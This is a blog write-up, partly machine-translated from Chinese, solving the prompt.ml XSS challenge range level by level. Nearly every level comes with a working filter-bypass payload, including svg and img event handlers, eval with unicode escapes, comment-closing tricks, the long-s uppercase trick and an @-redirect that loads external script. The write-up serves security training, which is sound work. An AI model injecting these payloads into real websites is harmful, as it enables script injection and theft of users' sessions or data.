当前位置:网站首页>XSS shooting range (3) prompt to win
XSS shooting range (3) prompt to win
2022-07-31 04:29:00 【tree lost its way】
靶场地址:prompt(1) to win - 0x0
http://prompt.ml/0
0x00
无过滤,Close double quotes and tags;
"><script>prompt(1)</script>//
0x01
替换 </ 任意字符 > 为空;
用<svg标签和HTML容错机制不写 ">" ,加空格、回车、Just note it out;
<svg onload=prompt(1)//
<img src=1 onerror="prompt(1)"
0x02
过滤了 = 和 ( ,Then don't need them;
用JS的 eval函数加 call方法,再给( unicode为 u0028即可;
或者用svg标签 加HTML编码;
<script>eval.call`${'prompt\u00281)'}`</script>
<svg><script>prompt(1)</script>
0x03
限制了 -->Let's not close;
用 --!> 闭合即可;
aaa--!>
<script>prompt(1)</script>
0x04
这里限制srcThe value of must begin with http://prompt.ml/;
可用@来重定向,但url:user:[email protected]中passwordcan't have it later / ,用%2f代替;
Write one in the server root directorytest.js,里面写个prompt(1)即可;
http://prompt.ml%[email protected]/test.js0x05
将 >、on.+?=、focus 字符替换为 _ ,所以过滤了js的autofocus事件以及 on开头的事件;
但没有过滤换行,可利用HTML容错机制,只要关键字和语法正确,不受空格和换行符影响的特性,Reclosing before and after "" 即可;
a" type=image src=1 onerror
="prompt(1)
0x06
这里构造了一个from表单,The form must be entered formURL#formDataJSONsuch as:http://httpbin.org/post#{"name":"Matt"},#分割成数组,提取formURL构造form表单,"formURL"赋值给form标签中的action,method是"post",fromData[0]值 "name"赋值给name,"Matt"赋值给value;
然后过滤document.forms[0].action中的 script和data,致使javascript:prompt()不能直接使用;
但如果将name赋值为"action",则后面的actionwill directly overwrite the first one in frontaction,即:document.form[0].action指向的就不是form标签中的action,而是name="action"中的"action",Filtering doesn't work;
javascript:prompt(1)#{"action":"Matt"}
0x07
这里定义了一个 # ,每个 #will result in a new one title的产生,每个 titleAfter shows only before12characters entered;
用 /* */去除多余部分,Escape length limit 即可;
"><script>/*#*/prompt(1/*#*/)</script>
0x08
这里将 \r\n < / " 过滤,This makes it impossible to escape single-line comments;
但 javaScript规定有5个字符,cannot appear directly in a string,只能使用转义形式,其二为:
- u+2028:行分隔符
- u+2029:段分隔符

This thing cannot be used directly,Now the console has it generate a special onepayload,然后我们复制,再配合 --> behind the keynote " 即可;
'\u2028prompt(1)\u2029-->' //Copy to console build specialpayloadCopy and use again
0x09
这里的正则匹配<a-zA-Z>,还给< 后面加上了_, 并且转大写,这几乎过滤了所有的标签;
So use a trick:有这样一个字符 ſ ,它在转大写后会变成S;
又因为html对大小写不敏感,JS对大小写敏感,所以把prompt编码为:prompt 即可;
<ſcript src=1 onerror=prompt(1)></script>
<ſvg onload=prompt(1)>
0x0A
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码.
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的.
The breaking point is ' 被替换为空,那就把 ' 插到prompt中 即可;
p'rompt(1) 
0x0B
Filtered a bunch of stuff;
The solution is not understood,哈哈;
"(prompt(1))in"
0x0C
Filter first here,后替换,所以第10The title doesn't work that way;
用 parseInt() The function parses a string and returns an integer,再用toStringDecoding can be bypassed;
关于parseint()函数的理解:关于JavaScript parseInt() 函数的理解_树迷了路的博客-CSDN博客

eval((630038579).toString(30))(1)
0x0D
未完成
0x0E
未完成
0x0F
Similar to the seventh question,But it's filtered/*,构造<!-- -->即可 ;
配合<svg>Make the annotation effective;
on this subject<svg>使用详解:http://t.csdn.cn/1P2Ik
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script> 
边栏推荐
猜你喜欢
![[Swift]自定义点击APP图标弹出的快捷方式](/img/d4/84b237995fc3d3700916eb57f6670d.png)
[Swift]自定义点击APP图标弹出的快捷方式
![[C language] General method of expression evaluation](/img/59/cf43b7dd16c203b4f31c1591615955.jpg)
[C language] General method of expression evaluation

SOLVED: After accidentally uninstalling pip (two ways to manually install pip)

prompt.ml/15中<svg>标签使用解释

Know the showTimePicker method of the basic components of Flutter

The idea project obviously has dependencies, but the file is not displayed, Cannot resolve symbol 'XXX'

ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)解决办法

【论文阅读】Mastering the game of Go with deep neural networks and tree search

C language from entry to such as soil, the data store
![Summary of Huawei Distributed Storage FusionStorage Knowledge Points [Interview]](/img/83/e0163b324448c6ef5b106862673637.jpg)
Summary of Huawei Distributed Storage FusionStorage Knowledge Points [Interview]
随机推荐
Two address pools r2 are responsible for managing the address pool r1 is responsible for managing dhcp relays
The idea project obviously has dependencies, but the file is not displayed, Cannot resolve symbol 'XXX'
Port inspection steps - 7680 port analysis - Dosvc service
[C language] General method of base conversion
input输入框展示两位小数之precision
IDEA常用快捷键与插件
已解决:不小心卸载pip后(手动安装pip的两种方式)
ENSP,划分VLAN、静态路由,三层交换机综合配置
[Paper reading] Mastering the game of Go with deep neural networks and tree search
MySQL数据库必会的增删查改操作(CRUD)
行业落地呈现新进展 | 2022开放原子全球开源峰会OpenAtom OpenHarmony分论坛圆满召开
《DeepJIT: An End-To-End Deep Learning Framework for Just-In-Time Defect Prediction》论文笔记
Zotero如何删除自动生成的标签
BP神经网络
Component pass value provide/inject
unity2d小游戏
Redis uses LIST to cache the latest comments
【小土堆补充】Pytorch学习笔记_Anaconda虚拟环境使用
(六)枚举、注解
[CV project debugging] CUDNN_CONVOLUTION_FWD_SPECIFY_WORKSPACE_LIMIT problem